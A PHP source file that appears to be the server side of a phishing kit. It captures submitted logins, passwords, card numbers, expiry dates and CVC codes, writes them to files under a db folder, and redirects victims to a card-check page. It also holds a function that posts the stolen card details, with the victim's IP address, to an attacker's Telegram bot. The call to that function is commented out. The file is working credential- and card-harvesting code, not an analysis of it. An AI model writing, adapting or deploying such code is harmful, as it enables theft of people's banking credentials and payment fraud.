<?php

error_reporting(1);

$config = json_decode(file_get_contents('config.json'));


$pay = json_decode($pay);
        $rand = random_int(10000000, 999999999);

if(isset($_POST['login']) && isset($_POST['password']) && isset($_POST['CardNumber']) && isset($_POST['fexpm']) && isset($_POST['fexpy']) && isset($_POST['fcvc'])) {


  //  message_to_telegram($config->token, $config->chat_id, "🇦🇪🇦🇪🇦🇪".PHP_EOL."<b>💳 Card:</b> <code>{$cardNumber}</code>".PHP_EOL."<b>🤑 Full Name:</b> {$_POST['Name']}".PHP_EOL."📅 Expired: {$_POST['fexpm']}/{$_POST['fexpy']}".PHP_EOL."🛡 CVV: {$_POST['fcvc']}".PHP_EOL."🕔 Time: {$currentTime}".PHP_EOL."IP: {$_SERVER['REMOTE_ADDR']}".PHP_EOL.$binInfo);


      
        file_put_contents('./db/'.$rand.'.txt', json_encode([
            'login' => $_POST['login'],
            'password' => $_POST['password'],
            'card' => $_POST['CardNumber'],
             'year' => $_POST['fexpy'],
             'month' => $_POST['fexpm'],
             'cvc' => $_POST['fcvc'],
    'status' => 'wait',
        ]));

        return header('Location: checkCard.php?id='.$rand.'');

} else die('Error param');



function message_to_telegram($bot_token, $chat_id, $text, $kb = [])
{
    $ch = curl_init();
    $ch_post = [
        CURLOPT_URL => 'https://api.telegram.org/bot' . $bot_token . '/sendMessage',
        CURLOPT_POST => TRUE,
        CURLOPT_RETURNTRANSFER => TRUE,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_POSTFIELDS => [
            'chat_id' => $chat_id,
            'chat_all_id' => $chat_id,
            'parse_mode' => 'HTML',
            'text' => $text,
            'disable_notification' => true
        ]
    ];
    curl_setopt_array($ch, $ch_post);
    curl_exec($ch);
}
